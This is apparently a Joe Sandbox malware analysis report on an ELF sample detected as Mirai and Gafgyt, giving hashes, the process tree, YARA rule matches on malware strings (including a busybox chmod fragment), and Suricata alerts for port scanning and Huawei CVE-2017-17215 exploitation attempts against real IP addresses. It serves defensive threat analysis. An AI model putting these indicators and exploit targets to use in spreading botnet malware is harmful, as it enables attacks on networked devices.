Edit tour

Linux Analysis Report
db0fa4b8db0333367e9bda3ab68b8042.spc.elf

Overview

General Information

Sample name:	db0fa4b8db0333367e9bda3ab68b8042.spc.elf
Analysis ID:	1581137
MD5:	dedb9e1518fd3b98fe94d3ce54be848e
SHA1:	a2f73703b213b4dc79b361ba6b2736c9a99f6c01
SHA256:	c38f354c0190f888cdc861b45130b87421009309c256ec76c4fbdc2a57f84d99
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai, Gafgyt

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581137
Start date and time:	2024-12-27 05:02:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	db0fa4b8db0333367e9bda3ab68b8042.spc.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@40/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: plutoc2.site

Runtime Messages

Command:	/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf
PID:	6229
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6229, Parent: 6154, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6231, Parent: 6229)

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6233, Parent: 6231)

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6235, Parent: 6231)

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6236, Parent: 6231)

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6240, Parent: 6231)

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6241, Parent: 6231)

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6242, Parent: 6231)

xfce4-panel New Fork (PID: 6248, Parent: 2063)

wrapper-2.0 (PID: 6248, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

dash New Fork (PID: 6249, Parent: 4332)

rm (PID: 6249, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.YzYaW64z3P /tmp/tmp.WqDUV7Ixl9 /tmp/tmp.gLJiHiVDv4

xfce4-panel New Fork (PID: 6250, Parent: 2063)

wrapper-2.0 (PID: 6250, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

dash New Fork (PID: 6251, Parent: 4332)

rm (PID: 6251, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.YzYaW64z3P /tmp/tmp.WqDUV7Ixl9 /tmp/tmp.gLJiHiVDv4

xfce4-panel New Fork (PID: 6252, Parent: 2063)

wrapper-2.0 (PID: 6252, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 6253, Parent: 2063)

wrapper-2.0 (PID: 6253, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 6273, Parent: 2063)

wrapper-2.0 (PID: 6273, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 6274, Parent: 2063)

wrapper-2.0 (PID: 6274, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x133d8:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13847:$x2: /bin/busybox chmod 777 * /tmp/ 0x13068:$s3: POST /cdn-cgi/
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x13068:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x133d8:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13847:$x2: /bin/busybox chmod 777 * /tmp/ 0x13068:$s3: POST /cdn-cgi/
6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x13068:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x133d8:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13847:$x2: /bin/busybox chmod 777 * /tmp/ 0x13068:$s3: POST /cdn-cgi/
6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x13068:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6229	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6229	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x494b:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6233	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6233	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10b4:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 13 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T05:03:11.918200+0100	2030092	1	Web Application Attack	192.168.2.23	52416	222.148.200.84	80	TCP
2024-12-27T05:03:18.753821+0100	2030092	1	Web Application Attack	192.168.2.23	56206	150.9.19.87	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T05:02:50.935113+0100	2029034	1	Web Application Attack	192.168.2.23	57928	212.42.196.121	443	TCP
2024-12-27T05:02:50.935177+0100	2029034	1	Web Application Attack	192.168.2.23	35634	79.117.36.116	443	TCP
2024-12-27T05:02:50.935264+0100	2029034	1	Web Application Attack	192.168.2.23	58212	37.221.47.40	443	TCP
2024-12-27T05:02:50.935288+0100	2029034	1	Web Application Attack	192.168.2.23	50572	2.141.112.242	443	TCP
2024-12-27T05:02:50.935342+0100	2029034	1	Web Application Attack	192.168.2.23	51390	109.2.18.133	443	TCP
2024-12-27T05:02:50.935384+0100	2029034	1	Web Application Attack	192.168.2.23	43602	79.141.28.208	443	TCP
2024-12-27T05:02:50.935423+0100	2029034	1	Web Application Attack	192.168.2.23	33534	212.181.236.170	443	TCP
2024-12-27T05:02:50.935443+0100	2029034	1	Web Application Attack	192.168.2.23	47168	94.204.32.24	443	TCP
2024-12-27T05:02:50.935494+0100	2029034	1	Web Application Attack	192.168.2.23	40276	212.8.35.3	443	TCP
2024-12-27T05:02:50.935531+0100	2029034	1	Web Application Attack	192.168.2.23	54674	210.20.42.251	443	TCP
2024-12-27T05:02:50.935564+0100	2029034	1	Web Application Attack	192.168.2.23	47200	2.136.69.150	443	TCP
2024-12-27T05:02:50.935616+0100	2029034	1	Web Application Attack	192.168.2.23	48306	212.173.139.86	443	TCP
2024-12-27T05:02:50.935651+0100	2029034	1	Web Application Attack	192.168.2.23	56356	42.54.192.220	443	TCP
2024-12-27T05:02:50.935695+0100	2029034	1	Web Application Attack	192.168.2.23	33894	118.125.145.2	443	TCP
2024-12-27T05:02:50.935712+0100	2029034	1	Web Application Attack	192.168.2.23	37338	94.189.246.132	443	TCP
2024-12-27T05:02:50.935751+0100	2029034	1	Web Application Attack	192.168.2.23	50946	117.173.197.150	443	TCP
2024-12-27T05:02:50.935799+0100	2029034	1	Web Application Attack	192.168.2.23	49366	123.74.229.203	443	TCP
2024-12-27T05:02:50.935833+0100	2029034	1	Web Application Attack	192.168.2.23	45042	5.188.22.2	443	TCP
2024-12-27T05:02:50.935907+0100	2029034	1	Web Application Attack	192.168.2.23	50814	210.197.41.68	443	TCP
2024-12-27T05:02:50.935938+0100	2029034	1	Web Application Attack	192.168.2.23	54298	202.68.103.45	443	TCP
2024-12-27T05:02:50.935999+0100	2029034	1	Web Application Attack	192.168.2.23	54244	212.166.185.113	443	TCP
2024-12-27T05:02:50.936012+0100	2029034	1	Web Application Attack	192.168.2.23	35438	148.112.199.224	443	TCP
2024-12-27T05:02:50.936051+0100	2029034	1	Web Application Attack	192.168.2.23	53158	148.159.246.178	443	TCP
2024-12-27T05:02:50.936108+0100	2029034	1	Web Application Attack	192.168.2.23	44510	5.153.22.141	443	TCP
2024-12-27T05:02:51.693624+0100	2029034	1	Web Application Attack	192.168.2.23	38306	117.122.210.121	443	TCP
2024-12-27T05:02:51.693676+0100	2029034	1	Web Application Attack	192.168.2.23	46284	148.179.162.252	443	TCP
2024-12-27T05:02:51.853614+0100	2029034	1	Web Application Attack	192.168.2.23	45350	212.19.68.20	443	TCP
2024-12-27T05:02:51.885563+0100	2029034	1	Web Application Attack	192.168.2.23	57260	212.189.193.93	443	TCP
2024-12-27T05:02:51.885591+0100	2029034	1	Web Application Attack	192.168.2.23	60496	42.115.143.75	443	TCP
2024-12-27T05:02:51.917582+0100	2029034	1	Web Application Attack	192.168.2.23	39932	123.200.14.224	443	TCP
2024-12-27T05:02:51.949560+0100	2029034	1	Web Application Attack	192.168.2.23	33428	94.57.180.144	443	TCP
2024-12-27T05:02:51.949589+0100	2029034	1	Web Application Attack	192.168.2.23	49326	2.181.94.12	443	TCP
2024-12-27T05:02:51.949752+0100	2029034	1	Web Application Attack	192.168.2.23	48568	178.89.3.203	443	TCP
2024-12-27T05:02:53.872204+0100	2029034	1	Web Application Attack	192.168.2.23	48832	202.218.34.65	443	TCP
2024-12-27T05:02:53.872269+0100	2029034	1	Web Application Attack	192.168.2.23	47650	148.4.14.33	443	TCP
2024-12-27T05:02:53.872279+0100	2029034	1	Web Application Attack	192.168.2.23	34902	37.113.112.26	443	TCP
2024-12-27T05:02:53.872333+0100	2029034	1	Web Application Attack	192.168.2.23	44182	109.140.219.87	443	TCP
2024-12-27T05:02:53.872357+0100	2029034	1	Web Application Attack	192.168.2.23	38382	210.22.84.182	443	TCP
2024-12-27T05:02:53.872413+0100	2029034	1	Web Application Attack	192.168.2.23	46352	109.184.85.55	443	TCP
2024-12-27T05:02:53.872439+0100	2029034	1	Web Application Attack	192.168.2.23	55000	123.232.214.93	443	TCP
2024-12-27T05:02:53.872495+0100	2029034	1	Web Application Attack	192.168.2.23	40138	5.3.56.22	443	TCP
2024-12-27T05:02:53.872583+0100	2029034	1	Web Application Attack	192.168.2.23	47330	178.188.213.115	443	TCP
2024-12-27T05:02:53.901217+0100	2029034	1	Web Application Attack	192.168.2.23	60680	123.154.135.31	443	TCP
2024-12-27T05:02:53.901390+0100	2029034	1	Web Application Attack	192.168.2.23	42882	2.172.17.28	443	TCP
2024-12-27T05:02:53.933228+0100	2029034	1	Web Application Attack	192.168.2.23	46844	109.111.162.164	443	TCP
2024-12-27T05:02:53.933286+0100	2029034	1	Web Application Attack	192.168.2.23	47588	117.111.182.109	443	TCP
2024-12-27T05:02:53.933313+0100	2029034	1	Web Application Attack	192.168.2.23	58246	210.94.33.7	443	TCP
2024-12-27T05:02:53.965335+0100	2029034	1	Web Application Attack	192.168.2.23	38858	5.194.114.237	443	TCP
2024-12-27T05:03:06.992057+0100	2029034	1	Web Application Attack	192.168.2.23	58362	212.180.190.229	443	TCP
2024-12-27T05:03:06.992089+0100	2029034	1	Web Application Attack	192.168.2.23	47228	210.216.140.200	443	TCP
2024-12-27T05:03:06.992114+0100	2029034	1	Web Application Attack	192.168.2.23	45566	212.102.7.31	443	TCP
2024-12-27T05:03:11.918200+0100	2029034	1	Web Application Attack	192.168.2.23	52416	222.148.200.84	80	TCP
2024-12-27T05:03:18.753821+0100	2029034	1	Web Application Attack	192.168.2.23	56206	150.9.19.87	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T05:03:03.068828+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54634	197.8.1.173	37215	TCP
2024-12-27T05:03:03.120294+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60768	156.239.181.133	37215	TCP
2024-12-27T05:03:03.327923+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49266	197.4.231.227	37215	TCP
2024-12-27T05:03:04.402014+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59988	156.236.238.227	37215	TCP
2024-12-27T05:03:07.031199+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53226	197.249.38.43	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf	Virustotal: Detection: 63%			Perma Link
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf	ReversingLabs: Detection: 71%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43602 -> 79.141.28.208:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54244 -> 212.166.185.113:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54298 -> 202.68.103.45:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50572 -> 2.141.112.242:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45042 -> 5.188.22.2:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35438 -> 148.112.199.224:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48306 -> 212.173.139.86:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56356 -> 42.54.192.220:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40276 -> 212.8.35.3:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33894 -> 118.125.145.2:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47168 -> 94.204.32.24:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44510 -> 5.153.22.141:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35634 -> 79.117.36.116:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58212 -> 37.221.47.40:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51390 -> 109.2.18.133:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54674 -> 210.20.42.251:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50946 -> 117.173.197.150:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33534 -> 212.181.236.170:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57928 -> 212.42.196.121:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50814 -> 210.197.41.68:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49366 -> 123.74.229.203:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47200 -> 2.136.69.150:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53158 -> 148.159.246.178:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37338 -> 94.189.246.132:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38306 -> 117.122.210.121:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46284 -> 148.179.162.252:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60496 -> 42.115.143.75:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57260 -> 212.189.193.93:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45350 -> 212.19.68.20:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39932 -> 123.200.14.224:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49326 -> 2.181.94.12:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33428 -> 94.57.180.144:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48568 -> 178.89.3.203:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48832 -> 202.218.34.65:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44182 -> 109.140.219.87:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38382 -> 210.22.84.182:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47650 -> 148.4.14.33:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34902 -> 37.113.112.26:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60680 -> 123.154.135.31:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46352 -> 109.184.85.55:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47588 -> 117.111.182.109:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46844 -> 109.111.162.164:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42882 -> 2.172.17.28:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58246 -> 210.94.33.7:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38858 -> 5.194.114.237:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40138 -> 5.3.56.22:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47330 -> 178.188.213.115:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55000 -> 123.232.214.93:443
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54634 -> 197.8.1.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49266 -> 197.4.231.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60768 -> 156.239.181.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59988 -> 156.236.238.227:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45566 -> 212.102.7.31:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47228 -> 210.216.140.200:443
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53226 -> 197.249.38.43:37215
